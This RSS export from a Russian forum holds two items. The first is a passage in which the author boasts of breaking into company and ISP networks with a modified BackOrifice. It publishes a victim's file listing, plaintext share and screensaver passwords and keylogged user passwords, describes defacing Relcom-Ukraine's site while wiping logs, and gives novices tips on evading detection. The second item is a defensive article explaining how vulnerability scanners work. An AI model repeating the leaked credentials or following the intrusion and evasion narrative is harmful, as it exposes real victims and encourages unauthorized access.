D------ 06-30-98 16:03 ProSoft&lt;br /&gt; 19456 -A----- 05-22-98 09:23 Визы1.doc&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-14-97 09:35 Распоряжения&lt;br /&gt; 23040 -A----- 05-28-98 08:20 list1.doc&lt;br /&gt; 89056 -A----- 07-15-98 16:04 Bv4bnsv2.tif&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 02-12-97 10:04 strat&lt;br /&gt;567544 -A----- 07-16-98 12:54 oernst.ra&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-03-97 11:33 Служеб_зап&lt;br /&gt;227235 -A----- 07-06-98 16:22 price-se.htm&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 01-28-98 15:44 КАЛМАН&lt;br /&gt; 19456 -A----- 12-18-97 12:21 Визы.doc&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 04-17-98 11:33 iso&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 10-01-97 18:03 федерал&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 05-25-98 15:54 Мафтер&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 04-30-98 15:24 Подпись&lt;br /&gt; 19456 -A----- 05-20-98 16:12 ip-адреса.doc&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 06-25-97 17:10 Характеристики&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-13-97 18:35 Договора&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 07-07-98 16:03 FOG&lt;br /&gt; 24064 -A----- 05-20-98 10:43 Галкин_бланк.doc&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 07-02-98 15:27 Итоговые собрания&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 07-17-97 11:08 Внутр факсы&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 07-09-98 15:17 Морозов&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 06-10-98 12:23 Трофимов&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 06-10-98 16:57 Столы&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-03-97 11:36 Положения&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 02-24-98 09:50 Программы&lt;br /&gt;&amp;#160; &amp;#160;360 -A----- 07-14-98 15:58 RealPlayer.lnk&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 07-20-98 10:16 Приказы о командир&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-03-97 11:33 Статистика&lt;br /&gt; 19456 -A----- 07-16-98 15:00 Лист 5&amp;#160; &amp;#160; Договора подряда.doc&lt;br /&gt;&amp;#160; 6731 -A----- 07-28-98 10:14 Dog-pmo2.asc&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-06-98 15:20 ping&lt;br /&gt; 41984 -A----- 07-29-98 14:30 Dog-pmo2.doc&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 04-17-97 09:52 Vizitka&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 04-30-97 12:57 Командировки&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 03-26-97 11:52 Перечень ПЭВМ&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 07-18-97 09:27 Приказы&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 07-29-98 18:07 Договора подряда&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160;0 D------ 07-25-97 09:54 Знаки&lt;br /&gt;Total files: 55&lt;/p&gt;
						&lt;p&gt;Кроме того на этой машине был доступ еще к десятку офисных компьютеров. Неплохой улов, не правда ли ? Я честно написал чудаку письмо о том, что у него проблемы и предложил приехать к ним и научить как хранить свои тайны. Чудак сказал мне &amp;quot;спасибо&amp;quot; и все. Orifice кто-то убил, но дальнейшее сканирование их сети показало, что у их разделенные ресурсы доступны через 139. А пароли: &lt;br /&gt;Resource: &#039;P_5_VER&#039;&amp;#160; Password: &#039;1478&#039;&lt;br /&gt;Resource: &#039;15997&#039;&amp;#160; Password: &#039;82239&#039;&lt;br /&gt;Resource: &#039;1_HP_133&#039;&amp;#160; Password: &#039;1478&#039;&lt;br /&gt;Resource: &#039;BTO&#039;&amp;#160; Password: &#039;BTO&#039;&lt;br /&gt;Resource: &#039;SMIRNOFF&#039;&amp;#160; Password: &#039;SMIRNOFF&#039;&lt;br /&gt;Resource: &#039;FS6&#039;&amp;#160; Password: &#039;82239&#039;&lt;br /&gt;Resource: &#039;FS2&#039;&amp;#160; Password: &#039;SMIRNOFF&#039;&lt;br /&gt;Resource: &#039;FS1&#039;&amp;#160; Password: &#039;1478&#039;&lt;br /&gt;Resource: &#039;HALL&#039;&amp;#160; Password: &#039;OIS&#039;&lt;br /&gt;Resource: &#039;HP150&#039;&amp;#160; Password: &#039;NESTOR&#039;&lt;br /&gt;Resource: &#039;NT&#039;&amp;#160; Password: &#039;548935Yу&#039;&lt;br /&gt;Resource: &#039;ONR&#039;&amp;#160; Password: &#039;1478&#039;&lt;br /&gt;Resource: &#039;OASUP&#039;&amp;#160; Password: &#039;548935&amp;#160; &#039;&lt;br /&gt;Resource: &#039;ONR&#039;&amp;#160; Password: &#039;548935`?Ш &#039;&lt;br /&gt;ScreenSaver password: &#039;PSSDUDE&#039;&lt;/p&gt;
						&lt;p&gt;кажется так до сих пор и висят ;)). Вышеперечисленное я публикую как привет директору этого предприятия. Так что, запускайте свои Legionы. Разочаровавшись в человеческой благодарности я решил действовать более конкретно. Следующей жертвой оказался наш местный провайдер. Достаточно быстро я &amp;quot;освоил&amp;quot; весь их офис, включая НТ-сервер с НТФС. Кроме того, имел пароли к 3-м Юникс машинам. Так как бэкапы хранились не на специальных устройствах, а на жестких дисках, то в моей власти было за ночь уменьшить число провайдеров в нашем городе на одного. Я этого не сделал - опять написал письмо сисадмину. В качестве благодарности мне предложили слепить сайт по безопасности и около 10 часов бесплатного интернета ;)). Я опять долго смеялся над своей добротой.&lt;br /&gt; &lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Очередной машиной, на которой мой сканер зарегестрировал наличие BackOrifice оказался 193.124.229.71 - KROK из офиса Релком-Украина. Сразу же я убил там &amp;quot;чужую&amp;quot; бошку и поставил свою - с паролем и измененным портом. Таким образом, я уже тогда оказал Релкому неоценимую услугу - если бы первым ее нашел не я, то проблемы могли бы быть куда серьезнее. &lt;/p&gt;
						&lt;p&gt;Я даже и не надеялся на то, что получу от Релкома какую-то благодарность. Даже интернетовская безлимитка в Киеве мне просто не нужна, а денег они все равно не заплатили бы. Я посоветовался со своим &amp;quot;коллегой&amp;quot; и мы решили пока просто понаблюдать за тем как работает первый украинский провайдер, чужой опыт всегда полезен ;). &lt;/p&gt;
						&lt;p&gt;Кейлоги велись круглосуточно практически на всех машинах, а потом мы выкачивали их пользуясь двумя редиректами. Кстати, устанавливать редиректы мне просто нравится, и как показывает практика, в том режиме, в котором мы работаем, найти нас невозможно. Много раз наши кейлоги регистрировали смены паролей. Самый простой пароль имел 5 символов (User:alesha, passw:mzo.5), а стандартно включали по 8-9 символов (Se05WebMr, NiaTwThly, EpK0Qw33). Немного посовещавшись мы приняли решение всего лишь поменять www - хоть моральное удовлетворение получить. Здесь нас поджидали некоторые трудности. Во-первых, машина ultra.ts.kiev.ua (на ней хранится ввв) оказалась уж очень хорошо защищена. Нам пришлось установить редирект на офисной машине с романтичным названием Olways для входа на нее телнетом. &lt;/p&gt;
						&lt;p&gt;Но выход мы нашли. В субботу утром мы пользуясь редиректами закачали в один сильно захламленный инкаминг забытой богом ФТП файлы с нашей страничкой. Затем, используя двойной редирект зашли сначала телнетом на машину uacom.ts.kiev.ua (дозвоночный сервер) проверили пароли к главному серверу. &lt;/p&gt;
						&lt;p&gt;Когда мы зашли на ultra.ts.kiev.ua то запустив фтп-клиент, повытягивали наши заготовки пока что в каталог zz. Ну, а затем уже одному не составляло труда менять ввв, пока другой чистил логи под другим паролем (кстати, root там висит как пользователь постоянно). &lt;/p&gt;
						&lt;p&gt;Вот и все. &lt;/p&gt;
						&lt;p&gt;Потом наделали скриншотов, закинули копию странички на Nettaxi, где ее уже убили по непонятным нам причинам и читали себе почту на Хотмэйле (тоже через редирект с выходом на вингейт (еще один редирект)). Скажите, что у нас тоже паранойя. Может быть, зато спим спокойно. Ответы, кстати, получились очень интересные. Ради них стоило все это затевать ;). &lt;/p&gt;
						&lt;p&gt;В заключении хочу дать несколько советов провайдерам: &lt;/p&gt;
						&lt;p&gt;Не держите у себя на работе гамеров-ламеров, и не пускайте левый народ за служебные машины. &lt;br /&gt;Не давайте всем машинам подряд реальные ИПшники. Возможности современных компов позволяют делать проксирование\маскарадинг\НАТ без потери качества сети. Чем меньше вас видят, тем сложнее прицелиться. &lt;br /&gt;Почаще смотрите что происходит с машинами, с которых вы запускаете Телнет, ФТП и т.п. И уж во всяком случае, не делайте этого с ИП, роутящихся через КОНКУРЕНТОВ. &lt;br /&gt;Читайте новости о безопасности сетей. Например, обзоры Хакзоны - оперативные, интересные, достаточно подробные, да еще и на русском языке. &lt;br /&gt;...и начинающим хакерам: &lt;br /&gt;Не пытайтесь пользоваться BackOrifice для серьезных взломов - наша версия достаточно переделана и не оставляет следов. &lt;br /&gt;Если вы не уверены, что вам надо что-то взломать, не взламывайте это. Здоровье сбережете. Мы описали идеально простой взлом, но даже здесь не все было так гладко. &lt;br /&gt;Не светитесь. Пользуйтесь редиректами, анонимайзерами... Отработайте сначала взлом в моделе на своей локалке и попробуйте найти свои же следы. Не лезьте в незнакомые ОС. &lt;br /&gt;Читай пункт 4 советов провайдерам. &lt;/p&gt;
						&lt;p&gt;--------------------------------------------------------------------------------&lt;/p&gt;
						&lt;p&gt;Ну, и наконец, для тех, кто думает о своей безопасности или хочет &amp;quot;проверить, насколько защищены их конкуренты&amp;quot;, мы оставляем свой почтовый ящик.&lt;/p&gt;
						&lt;p&gt;--------------------------------------------------------------------------------&lt;/p&gt;
						&lt;p&gt;Несколько писем с Хотмэйла&lt;br /&gt;	Hi!&lt;/p&gt;
						&lt;p&gt;	Ну мужики, ну вы даете!!!!&lt;/p&gt;
						&lt;p&gt;	А можно вопрос? А как же остальные два официальных&lt;br /&gt;	провайдера Украины? Вот бы и их туда же!!!&lt;/p&gt;
						&lt;p&gt;	Но есть и другая строна медали ;-(&lt;br /&gt;	Появился лишнтй повод для властей таки ввести в действие&lt;br /&gt;	все те указы и прочее свое творчество.&lt;/p&gt;
						&lt;p&gt;	Но в любом случае спасибо за то что людям показали&lt;br /&gt;	что молчать и ждать - это хуже чем что-то делать&lt;/p&gt;
						&lt;p&gt;	Удачи, и дай вам бог не попадаться, _никогда_&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;--------------------------------------------------------------------------------&lt;br /&gt;daaaa..... , zelannoje Vami zasluzivajet uvazenija, a gumannost&#039;&lt;br /&gt;vdvojne, zalko to chto ja nje uvidel original&#039;noje tvorenije, a tol&#039;ko&lt;br /&gt;kopiju :( hotelos&#039;by v sljedushij raz uznat&#039; vovremja, budu bezumno rad&lt;br /&gt;jesli vy soobshitje nbje o Svojej ocherednoj pobedje za demokratiju v&lt;br /&gt;Internete, jestestvenno do togo kak &amp;quot;pole brani&amp;quot; v (dannom sluchaje&lt;br /&gt;WEB-sajt) raschishat sISOPY&lt;/p&gt;
						&lt;p&gt;s uvazenijem&lt;br /&gt;Dmitri&lt;/p&gt;
						&lt;p&gt;NB! proshu izvenit&#039; va ispolzovaije LAT-kodirovki ;)&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;--------------------------------------------------------------------------------&lt;br /&gt;Добрый день !&lt;/p&gt;
						&lt;p&gt;Есть предложение - телерадиокомпания ЮТАР делает о Вас пару сюжетов в новости ...&lt;br /&gt;Возможно, это привлечет хоть какую-то часть общественности к проблеме&lt;br /&gt;президентского указа ...&lt;/p&gt;
						&lt;p&gt;Разумеется, Ваша анонимность гарантирована ... Если Вам так будет легче,&lt;br /&gt;Вы можете передать нам где-либо видеокассету с записью Ваших рассуждений&lt;br /&gt;и мотивов ... (Спиной, или без лица) ...&lt;/p&gt;
						&lt;p&gt;Возможно, эти сюжеты смогут хоть как-то повлиять на создавшуюся ситуацию...&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:50:44 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=25#p25</guid>
		</item>
		<item>
			<title>Как работает сканер безопасности?</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=24#p24</link>
			<description>&lt;p&gt;Введение&lt;br /&gt;В последнее время увеличилось число публикаций (в основном, зарубежных), посвященных такому новому направлению в области защиты информации, как адаптивная безопасность сети. Это направление состоит из двух основных технологий - анализ защищенности (security assessment) и обнаружение атак (intrusion detection). Именно первой технологии и посвящена данная статья. &lt;/p&gt;
						&lt;p&gt;Сеть состоит из каналов связи, узлов, серверов, рабочих станций, прикладного и системного программного обеспечения, баз данных и т.д. Все эти компоненты нуждаются в оценке эффективности их защиты. Средства анализа защищенности исследуют сеть и ищут &amp;quot;слабые&amp;quot; места в ней, анализируют полученные результаты и на их основе создают различного рода отчеты. В некоторых системах вместо &amp;quot;ручного&amp;quot; вмешательства со стороны администратора найденная уязвимость будет устраняться автоматически (например, в системе System Scanner). Перечислим некоторые из проблем, идентифицируемых системами анализа защищенности: &lt;/p&gt;
						&lt;p&gt;&amp;quot;люки&amp;quot; в программах (back door) и программы типа &amp;quot;троянский конь&amp;quot;; &lt;br /&gt;слабые пароли; &lt;br /&gt;восприимчивость к проникновению из незащищенных систем; &lt;br /&gt;неправильная настройка межсетевых экранов, Web-серверов и баз данных; &lt;br /&gt;и т.д. &lt;br /&gt;Технология анализа защищенности является действенным методом реализации политики сетевой безопасности прежде, чем осуществится попытка ее нарушения снаружи или изнутри организации. &lt;/p&gt;
						&lt;p&gt;Очень часто пишут об уникальных возможностях систем анализа защищенности (сканерах), подводя читателей к убеждению, что эти системы являются панацеей от всех бед, и что они позволяют обнаруживать все вновь обнаруживаемые уязвимости. Но когда пользователи сталкиваются с ситуацией, которую можно описать заданным мне недавно вопросом: &amp;quot;Я вчера прочитал в Bugtraq про новую уязвимость в моей операционной системе. Почему сетевой сканер безопасности ее не обнаруживает?&amp;quot;, то они начинают обвинять системы анализа защищенности во всех своих бедах. А ответ на заданный вопрос очень прост. В базе данных уязвимостей системы анализа защищенности этой уязвимости пока нет. Это один из аспектов, присущий всем системам анализа защищенности. Они предназначены для обнаружения только известных уязвимостей, описание которых есть у них в базе данных. В этом они подобны антивирусным системам, которым для эффективной работы необходимо постоянно обновлять базу данных сигнатур. Все эти вопросы привели к тому, что я решил поделиться практическим опытом работы с различными системами анализа защищенности и написать о том, как вообще работают сканеры безопасности, что они могут, а что нет. Помимо своего практического опыта, при написании данной статьи я использовал материалы компании Internet Security Systems, Inc., Cisco Systems и Network Associates. &lt;/p&gt;
						&lt;p&gt;Функционировать такие средства могут на сетевом уровне (network-based), уровне операционной системы (host-based) и уровне приложения (application-based). Наибольшее распространение получили средства анализа защищенности сетевых сервисов и протоколов. Связано это, в первую очередь, с универсальностью используемых протоколов. Изученность и повсеместное использование таких протоколов, как IP, TCP, HTTP, FTP, SMTP и т.п. позволяют с высокой степенью эффективности проверять защищенность информационной системы, работающей в данном сетевом окружении. Вторыми по распространенности являются средства анализа защищенности операционных систем (ОС). Связано это также с универсальностью и распространенностью некоторых операционных систем (например, UNIX и Windows NT). Однако из-за того, что каждый производитель вносит в операционную систему свои изменения (ярким примером является множество разновидностей ОС UNIX), средства анализа защищенности ОС анализируют в первую очередь параметры, характерные для всего семейства одной ОС. И лишь для некоторых систем анализируются специфичные для нее параметры. Средств анализа защищенности приложений на сегодняшний день не так много, как этого хотелось бы. Такие средства пока существуют только для широко распространенных прикладных систем, типа Web-броузеры (Netscape Navigator, Microsoft Internet Explorer), СУБД (Microsoft SQL Server, Sybase Adaptive Server) и т.п. &lt;/p&gt;
						&lt;p&gt;Помимо обнаружения уязвимостей, при помощи средств анализа защищенности можно быстро определить все узлы корпоративной сети, доступные в момент проведения тестирования, выявить все используемые в ней сервисы и протоколы, их настройки и возможности для несанкционированного воздействия (как изнутри корпоративной сети, так и снаружи). Также эти средства вырабатывают рекомендации и пошаговые меры, позволяющие устранить выявленные недостатки. &lt;/p&gt;
						&lt;p&gt;Поскольку наибольшее распространение получили средства, функционирующие на уровне сети (системы SATAN, Internet Scanner, CyberCop Scanner, NetSonar и т.д.), то основное внимание будет уделено именно им. &lt;/p&gt;
						&lt;p&gt;Механизмы работы&lt;br /&gt;Существует два основных механизма, при помощи которых сканер проверяет наличие уязвимости - сканирование (scan) и зондирование (probe). &lt;/p&gt;
						&lt;p&gt;Сканирование - механизм пассивного анализа, с помощью которого сканер пытается определить наличие уязвимости без фактического подтверждения ее наличия - по косвенным признакам. Этот метод является наиболее быстрым и простым для реализации. В терминах компании ISS данный метод получил название &amp;quot;логический вывод&amp;quot; (inference). Согласно компании Cisco этот процесс идентифицирует открытые порты, найденные на каждом сетевом устройстве, и собирает связанные с портами заголовки (banner), найденные при сканировании каждого порта. Каждый полученный заголовок сравнивается с таблицей правил определения сетевых устройств, операционных систем и потенциальных уязвимостей. На основе проведенного сравнения делается вывод о наличии или отсутствии уязвимости. &lt;/p&gt;
						&lt;p&gt;Зондирование - механизм активного анализа, который позволяет убедиться, присутствует или нет на анализируемом узле уязвимость.Зондирование выполняется путем имитации атаки, использующей проверяемую уязвимость. Этот метод более медленный, чем &amp;quot;сканирование&amp;quot;, но почти всегда гораздо более точный, чем он. В терминах компании ISS данный метод получил название &amp;quot;подтверждение&amp;quot; (verification). Согласно компании Cisco этот процесс использует информацию, полученную в процессе сканирования (&amp;quot;логического вывода&amp;quot;), для детального анализа каждого сетевого устройства. Этот процесс также использует известные методы реализации атак для того, чтобы полностью подтвердить предполагаемые уязвимости и обнаружить другие уязвимости, которые не могут быть обнаружены пассивными методами, например подверженность атакам типа &amp;quot;отказ в обслуживании&amp;quot; (&amp;quot;denial of service&amp;quot;). &lt;/p&gt;
						&lt;p&gt;На практике указанные механизмы реализуются следующими несколькими методами. &lt;/p&gt;
						&lt;p&gt;&amp;quot;Проверка заголовков&amp;quot; (banner check)&lt;br /&gt;Указанный механизм представляет собой ряд проверок типа &amp;quot;сканирование&amp;quot; и позволяет делать вывод об уязвимости, опираясь на информацию в заголовке ответа на запрос сканера. Типичный пример такой проверки - анализ заголовков программы Sendmail или FTP-сервера, позволяющий узнать их версию и на основе этой информации сделать вывод о наличии в них уязвимости. &lt;/p&gt;
						&lt;p&gt;Наиболее быстрый и простой для реализации метод проверки присутствия на сканируемом узле уязвимости. Однако за этой простотой скрывается немало проблем. &lt;/p&gt;
						&lt;p&gt;Эффективность проверок заголовков достаточно эфемерна. И вот почему. Во-первых, вы можете изменить текст заголовка, предусмотрительно удалив из него номер версии или иную информацию, на основании которой сканер строит свои заключения. И хотя такие случаи исключительно редки, пренебрегать ими не стоит. Особенно в том случае, если у вас работают специалисты в области безопасности, понимающие всю опасность заголовков &amp;quot;по умолчанию&amp;quot;. Во-вторых, зачастую, версия, указываемая в заголовке ответа на запрос, не всегда говорит об уязвимости программного обеспечения. Особенно это касается программного обеспечения, распространяемого вместе с исходными текстами (например, в рамках проекта GNU). Вы можете самостоятельно устранить уязвимость путем модификации исходного текста, при этом забыв изменить номер версии в заголовке. И в-третьих, устранение уязвимости в одной версии еще не означает, что в следующих версиях эта уязвимость отсутствует. &lt;/p&gt;
						&lt;p&gt;Процесс, описанный выше, является первым и очень важным шагом при сканировании сети. Он не приводит к нарушению функционирования сервисов или узлов сети. Однако не стоит забывать, что администратор может изменить текст заголовков, возвращаемых на внешние запросы. &lt;/p&gt;
						&lt;p&gt;&amp;quot;Активные зондирующие проверки&amp;quot; (active probing check)&lt;br /&gt;Также относятся к механизму &amp;quot;сканирования&amp;quot;. Однако они основаны не на проверках версий программного обеспечения в заголовках, а на сравнении &amp;quot;цифрового слепка&amp;quot; (fingerprint) фрагмента программного обеспечения со слепком известной уязвимости. Аналогичным образом поступают антивирусные системы, сравнивая фрагменты сканируемого программного обеспечения с сигнатурами вирусов, хранящимися в специализированной базе данных. Разновидностью этого метода являются проверки контрольных сумм или даты сканируемого программного обеспечения, которые реализуются в сканерах, работающих на уровне операционной системы. &lt;/p&gt;
						&lt;p&gt;Специализированная база данных (в терминах компании Cisco - база данных по сетевой безопасности) содержит информацию об уязвимостях и способах их использовании (атаках). Эти данные дополняются сведениями о мерах их устранения, позволяющих снизить риск безопасности в случае их обнаружения. Зачастую эта база данных используется и системой анализа защищенности и системой обнаружения атак. По крайней мере, так поступают компании Cisco и ISS. &lt;/p&gt;
						&lt;p&gt;Этот метод также достаточно быстр, но реализуется труднее, чем &amp;quot;проверка заголовков&amp;quot;. &lt;/p&gt;
						&lt;p&gt;&amp;quot;Имитация атак&amp;quot; (exploit check)&lt;br /&gt;Перевода термина &amp;quot;exploit&amp;quot; в российских публикациях я нигде не встречал и эквивалента в русском языке также не нашел. Поэтому воспользуюсь переводом &amp;quot;имитация атак&amp;quot;. Данные проверки относятся к механизму &amp;quot;зондирования&amp;quot; и основаны на эксплуатации различных дефектов в программном обеспечении. &lt;/p&gt;
						&lt;p&gt;Некоторые уязвимости не обнаруживают себя, пока вы не &amp;quot;подтолкнете&amp;quot; их. Для этого против подозрительного сервиса или узла запускаются реальные атаки. Проверки заголовков осуществляют первичный осмотр сети, а метод &amp;quot;exploit check&amp;quot;, отвергая информацию в заголовках, позволяет имитировать реальные атаки, тем самым с большей эффективностью (но меньшей скоростью) обнаруживая уязвимости на сканируемых узлах. Имитация атак является более надежным способом анализа защищенности, чем проверки заголовков, и обычно более надежны, чем активные зондирующие проверки. &lt;/p&gt;
						&lt;p&gt;Однако существуют случаи, когда имитация атак не всегда может быть реализована. Такие случаи можно разделить на две категории: ситуации, в которых тест приводит к &amp;quot;отказу в обслуживании&amp;quot; анализируемого узла или сети, и ситуации, при которых уязвимость в принципе не годна для реализации атаки на сеть. &lt;/p&gt;
						&lt;p&gt;Как мы все знаем, многие проблемы защиты не могут быть выявлены без блокирования или нарушения функционирования сервиса или компьютера в процессе сканирования. В некоторых случаях нежелательно использовать имитацию атак (например, для анализа защищенности важных серверов), т.к. это может привести к большим затратам (материальным и временным) на восстановление работоспособности выведенных из строя элементов корпоративной сети. В этих случаях желательно применить другие проверки, например, активное зондирование или, в крайнем случае, проверки заголовков. &lt;/p&gt;
						&lt;p&gt;Однако, есть некоторые уязвимости (например, проверка подверженности атакам типа &amp;quot;Packet Storm&amp;quot;), которые просто не могут быть протестированы без возможного выведения из строя сервиса или компьютера. В этом случае разработчики поступают следующим образом, - по умолчанию такие проверки выключены и пользователь может сам включить их, если желает. Таким образом, например, реализованы системы CyberCop Scanner и Internet Scanner. В последней системе такого рода проверки выделены в отдельную категорию &amp;quot;Denial of service&amp;quot; (&amp;quot;Отказ в обслуживании&amp;quot;). При включении любой из проверок этой группы система Internet Scanner выдает сообщение &amp;quot;WARNING: These checks may crash or reboot scanned hosts&amp;quot; (&amp;quot;Внимание: эти проверки могут вывести из строя иди перезагрузить сканируемые узлы&amp;quot;). &lt;/p&gt;
						&lt;p&gt;Этапы сканирования&lt;br /&gt;Практически любой сканер проводит анализ защищенности в несколько этапов: &lt;/p&gt;
						&lt;p&gt;Сбор информации о сети. На данном этапе идентифицируются все активные устройства в сети и определяются запущенные на них сервисы и демоны. В случае использования систем анализа защищенности на уровне операционной системы данный этап пропускается, поскольку на каждом анализируемом узле установлены соответствующие агенты системного сканера. &lt;br /&gt;Обнаружение потенциальных уязвимостей. Сканер использует описанную выше базу данных для сравнения собранных данных с известными уязвимостями при помощи проверки заголовков или активных зондирующих проверок. В некоторых системах все уязвимости ранжируются по степени риска. Например, в системе NetSonar уязвимости делятся на два класса: сетевые и локальные уязвимости. Сетевые уязвимости (например, воздействующие на маршрутизаторы) считаются более серьезными по сравнению с уязвимостями, характерными только для рабочих станций. Аналогичным образом &amp;quot;поступает&amp;quot; и Internet Scanner. Все уязвимости в нем делятся на три степени риска: высокая (High), средняя (Medium) и низкая (Low). &lt;br /&gt;Подтверждение выбранных уязвимостей. Сканер использует специальные методы и моделирует (имитирует) определенные атаки для подтверждения факта наличия уязвимостей на выбранных узлах сети. &lt;br /&gt;Генерация отчетов. На основе собранной информации система анализа защищенности создает отчеты, описывающие обнаруженные уязвимости. В некоторых системах (например, Internet Scanner и NetSonar) отчеты создаются для различных категорий пользователей, начиная от администраторов сети и заканчивая руководством компании. Если первых в первую очередь интересуют технические детали, то для руководства компании необходимо представить красиво оформленные с применением графиков и диаграмм отчеты с минимумом подробностей. Немаловажным аспектом является наличие рекомендаций по устранению обнаруженных проблем. И здесь по праву лидером является система Internet Scanner, которая для каждой уязвимости содержит пошаговые инструкции для устранения уязвимостей, специфичные для каждой операционной системы. Во многих случаях отчеты также содержат ссылки на FTP- или Web-сервера, содержащие patch&#039;и и hotfix&#039;ы, устраняющие обнаруженные уязвимости. &lt;br /&gt;Автоматическое устранение уязвимостей. Этот этап очень редко реализуется в сетевых сканерах, но широко применяется в системных сканерах (например, System Scanner). При этом данная возможность может реализовываться по-разному. Например, в System Scanner создается специальный сценарий (fix script), который администратор может запустить для устранения уязвимости. Одновременно с созданием этого сценария, создается и второй сценарий, отменяющий произведенные изменения. Это необходимо в том случае, если после устранения проблемы, нормальное функционирование узла было нарушено. В других системах возможности &amp;quot;отката&amp;quot; не существует. &lt;br /&gt;В любом случае у администратора, осуществляющего поиск уязвимостей, есть несколько вариантов использования системы анализа защищенности: &lt;/p&gt;
						&lt;p&gt;Запуск сканирования только с проверками на потенциальные уязвимости (этапы 1,2 и 4). Это дает предварительное ознакомление с системами в сети. Этот метод является гораздо менее разрушительным по сравнению с другими и также является самым быстрым. &lt;br /&gt;Запуск сканирования с проверками на потенциальные и подтвержденные уязвимости. Этот метод может вызвать нарушение работы узлов сети во время реализации проверок типа &amp;quot;exploit check&amp;quot;. &lt;br /&gt;Запуск сканирования с вашими пользовательскими правилами для нахождения конкретной проблемы. &lt;br /&gt;Все из вышеназванного. &lt;br /&gt;Особенности применения&lt;br /&gt;Если сканер не находит уязвимостей на тестируемом узле, то это еще не значит, что их нет. Просто сканер не нашел их. И зависит это не только от самого сканера, но и от его окружения. Например, если Вы тестируете сервис Telnet или FTP на удаленной машине, и сканер сообщает Вам, что уязвимостей не обнаружено - это может значить не только, что уязвимостей нет, а еще и то, что на сканируемом компьютере установлен, например, TCP Wrapper. Да мало ли еще чего? Вы можете пытаться получить доступ к компьютеру через межсетевой экран или попытки доступа блокируются соответствующими фильтрами у провайдера и т.д. Для ОС Windows NT характерен другой случай. Сканер пытается дистанционно проанализировать системный реестр (registry). Однако в случае запрета на анализируемом узле удаленного доступа к реестру, сканер никаких уязвимостей не обнаружит. Существуют и более сложные случаи. И вообще различные реализации одного итого же сервиса по-разному реагируют на системы анализа защищенности. Очень часто на практике можно увидеть, что сканер показывает уязвимости, которых на анализируемом узле нет. Это относится к сетевым сканерам, которые проводят дистанционный анализ узлов сети. И удаленно определить, существует ли в действительности уязвимость или нет, практически невозможно. В этом случае можно порекомендовать использовать систему анализа защищенности на уровне операционной системы, агенты которой устанавливаются на каждый контролируемый узел и проводят все проверки локально. &lt;/p&gt;
						&lt;p&gt;Для решения этой проблемы некоторые компании-производители пошли по пути предоставления своим пользователям нескольких систем анализа защищенности, работающих на всех указанных выше уровнях, - сетевом, системном и уровне приложений. Совокупность этих систем позволяет с высокой степенью эффективности обнаружить практически все известные уязвимости. Например, компания Internet Security Systems предлагает семейство SAFEsuite, состоящее из четырех сканеров: Internet Scanner, System Scanner, Security Manager и Database Scanner. В настоящий момент это единственная компания, которая предлагает системы анализа защищенности, функционирующие на всех трех уровнях информационной инфраструктуры. Другие компании предлагают или два (Axent) или, как правило, один (Network Associates, NetSonar и др.) сканер. &lt;/p&gt;
						&lt;p&gt;Компания Cisco, предлагающая только систему анализа защищенности на уровне сети пошла другим путем для устранения проблемы ложного срабатывания. Она делит все уязвимости на два класса: &lt;/p&gt;
						&lt;p&gt;Потенциальные - вытекающие из проверок заголовков и т.н. активных &amp;quot;подталкиваний&amp;quot; (nudge) анализируемого сервиса или узла. Потенциальная уязвимость возможно существует в системе, но активные зондирующие проверки не подтверждают этого. &lt;br /&gt;Подтвержденные - выявленные и существующие на анализируемом хосте. &lt;br /&gt;Проверки на потенциальную уязвимость проводятся через коллекцию заголовков и использование &amp;quot;несильных подталкиваний&amp;quot;. &amp;quot;Подталкивание&amp;quot; используется для сервисов, не возвращающих заголовки, но реагирующих на простые команды, например, посылка команды HEAD для получения версии HTTP-сервера. Как только эта информация получена, система NetSonar использует специальный механизм (rules engine), который реализует ряд правил, определяющих, существует ли потенциальная уязвимость. &lt;/p&gt;
						&lt;p&gt;Таким образом, администратор знает, какие из обнаруженных уязвимостей действительно присутствуют в системе, а какие требуют подтверждения. &lt;/p&gt;
